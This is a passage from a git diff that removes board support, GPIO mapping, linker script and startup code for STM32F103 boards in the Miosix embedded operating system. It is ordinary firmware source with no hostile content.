FSMC_IRQHandler, /* FSMC */ - SDIO_IRQHandler, /* SDIO */ - TIM5_IRQHandler, /* TIM5 */ - SPI3_IRQHandler, /* SPI3 */ - UART4_IRQHandler, /* UART4 */ - UART5_IRQHandler, /* UART5 */ - TIM6_IRQHandler, /* TIM6 */ - TIM7_IRQHandler, /* TIM7 */ - DMA2_Channel1_IRQHandler, /* DMA2 Channel 1 */ - DMA2_Channel2_IRQHandler, /* DMA2 Channel 2 */ - DMA2_Channel3_IRQHandler, /* DMA2 Channel 3 */ - DMA2_Channel4_5_IRQHandler, /* DMA2 Channel 4 and Channel 5 */ - 0,0,0,0,0,0,0,0, /* @0x130 */ - 0,0,0,0,0,0,0,0, /* @0x150 */ - 0,0,0,0,0,0,0,0, /* @0x170 */ - 0,0,0,0,0,0,0,0, /* @0x190 */ - 0,0,0,0,0,0,0,0, /* @0x1B0 */ - 0,0,0,0, /* @0x1D0 */ - reinterpret_cast(0xF1E0F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x High Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_5_IRQHandler = Default_Handler -#pragma weak SystemInit_ExtMemCtl = SystemInit_ExtMemCtl_Dummy diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp deleted file mode 100644 index 265a28aaf..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,117 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f1.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //On this board this part of the initialization is done by the bootloader - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - NVIC_SystemReset(); - for(;;) ; //Never reach here -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h deleted file mode 100644 index 2c0451f78..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio< GPIOB_BASE,12> led; - -inline void ledOn() -{ - led::high(); -} - -inline void ledOff() -{ - led::low(); -} - -///\internal Pin connected to SD card detect -typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h deleted file mode 100644 index fef4cd8f2..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,191 +0,0 @@ - -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - *************************************************************************** - * - * ***************** - * Version 1.01 beta - * 01/03/2011 - * ***************** - */ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#ifdef _MIOSIX -#include "interfaces/gpio.h" -namespace miosix { -#else //_MIOSIX -#include "gpio.h" - -//These two functions are only available from the bootloader -/** - * Enable +3v3b and +1v8 domains, etc... - */ -void powerOn(); - -/** - * Disable +3v3b and +1v8 domains, etc... - */ -void powerOff(); - -#endif //_MIOSIX - -// -// All GPIOs are mapped here -// - -//Buttons -typedef Gpio button1; //Active low, generates irq for boot -typedef Gpio button2; //Active low - -//LED -typedef Gpio led; //Active high - -//Display interface -namespace disp { -typedef Gpio yp; //Touchscreen Y+ (analog) -typedef Gpio ym; //Touchscreen Y- (analog) -typedef Gpio xp; //Touchscreen X+ (analog, with 330ohm in series) -typedef Gpio xm; //Touchscreen X- (analog) -typedef Gpio ncpEn; //Active high -typedef Gpio d0; //Handled by hardware (FSMC) -typedef Gpio d1; //Handled by hardware (FSMC) -typedef Gpio d2; //Handled by hardware (FSMC) -typedef Gpio d3; //Handled by hardware (FSMC) -typedef Gpio d4; //Handled by hardware (FSMC) -typedef Gpio d5; //Handled by hardware (FSMC) -typedef Gpio d6; //Handled by hardware (FSMC) -typedef Gpio d7; //Handled by hardware (FSMC) -typedef Gpio d8; //Handled by hardware (FSMC) -typedef Gpio d9; //Handled by hardware (FSMC) -typedef Gpio d10; //Handled by hardware (FSMC) -typedef Gpio d11; //Handled by hardware (FSMC) -typedef Gpio d12; //Handled by hardware (FSMC) -typedef Gpio d13; //Handled by hardware (FSMC) -typedef Gpio d14; //Handled by hardware (FSMC) -typedef Gpio d15; //Handled by hardware (FSMC) -typedef Gpio rs; //Handled by hardware (FSMC) -typedef Gpio rd; //Handled by hardware (FSMC) -typedef Gpio wr; //Handled by hardware (FSMC) -typedef Gpio cs; //Handled by hardware (FSMC), 100k to +3v3a -typedef Gpio reset; //Active low -} - -//Audio DSP connections -namespace dsp { -typedef Gpio xcs; -typedef Gpio sclk; //Handled by hardware (SPI1) -typedef Gpio so; //Handled by hardware (SPI1) -typedef Gpio si; //Handled by hardware (SPI1) -typedef Gpio xreset; -typedef Gpio dreq; //Generates irq ? -typedef Gpio xdcs; -} - -//MicroSD connections -namespace sd { -typedef Gpio cardDetect; -typedef Gpio d0; //Handled by hardware (SDIO) -typedef Gpio d1; //Handled by hardware (SDIO) -typedef Gpio d2; //Handled by hardware (SDIO) -typedef Gpio d3; //Handled by hardware (SDIO) -typedef Gpio clk; //Handled by hardware (SDIO) -typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b -} - -//USB connections -namespace usb { -typedef Gpio dm; //Handled by hardware (USB) D- -typedef Gpio dp; //Handled by hardware (USB) D+ -typedef Gpio detect; //1K5 pullup connected to D+ -} - -//USB Battery charger -namespace charger { -typedef Gpio done; -typedef Gpio seli; //100k to ground -} - -//Power management -namespace pwrmgmt { -typedef Gpio vcc3v3bEn; //100k to +3v3a (active low) -typedef Gpio vcc1v8En; //100k to ground -typedef Gpio vbatEn; //If low allows to measure vbat -typedef Gpio vbat; //Analog in to measure vbat -} - -//Externam FLASH -namespace xflash { -typedef Gpio cs; //100k to +3v3b -typedef Gpio sck; //Handled by hardware (SPI2) -typedef Gpio so; //Handled by hardware (SPI2) -typedef Gpio si; //Handled by hardware (SPI2) -} - -//Accelerometer -namespace accel { -typedef Gpio x; //Analog -typedef Gpio y; //Analog -typedef Gpio z; //Analog -} - -//Debug/bootloader serial port -namespace boot { -typedef Gpio detect; //BOOT1 (10k to ground) -typedef Gpio tx; //Handled by hardware (USART1) -typedef Gpio rx; //Handled by hardware (USART1) -} - -//Expansion -namespace expansion { -typedef Gpio exp0; -typedef Gpio exp1; -typedef Gpio tx2; -typedef Gpio rx2; -typedef Gpio tx3; -typedef Gpio rx3; -} - -//Unused pins -typedef Gpio pa13; -typedef Gpio pa14; -typedef Gpio pa15; -typedef Gpio pb3; -typedef Gpio pb4; -typedef Gpio pc13; -typedef Gpio pc14; //This is actually for the 32KHz xtal -typedef Gpio pc15; //This is actually for the 32KHz xtal -typedef Gpio pd12; -typedef Gpio pd13; -typedef Gpio pe6; -typedef Gpio pb8; //used to be Charger::en - -#ifdef _MIOSIX -} //namespace miosix -#endif //_MIOSIX - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_ram.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_ram.ld deleted file mode 100644 index 0e516afea..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_ram.ld +++ /dev/null @@ -1,141 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - */ - -/* - * This linker script puts: - * - all (code, .data, .bss, stacks, heap) in the internal ram. - * It is most useful for debugging, since powercycling the board will erase code - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * In this linker script the main stack is placed at the top of the ram since: - * - the interrupt vectors are forwarded at the bottom of the ram - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the stack */ -_main_stack_top = 0x20010000; /* placed at the top of ram */ -_heap_end = _main_stack_top - _main_stack_size; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > ram - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > ram - __exidx_end = .; - - /* .data section: global variables go to ram */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_rom.ld deleted file mode 100644 index 017f9a8f0..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/stm32_512k+64k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* First 10K taken up by bootloader */ - flash(rx) : ORIGIN = 0x2800, LENGTH = 512K-10K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/core/stage_1_boot.cpp deleted file mode 100644 index 1a05e9b44..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/core/stage_1_boot.cpp +++ /dev/null @@ -1,358 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x68000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x68000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x68000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -/** - * ? - */ -extern "C" void SystemInit_ExtMemCtl_Dummy() -{ - //Do nothing -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) 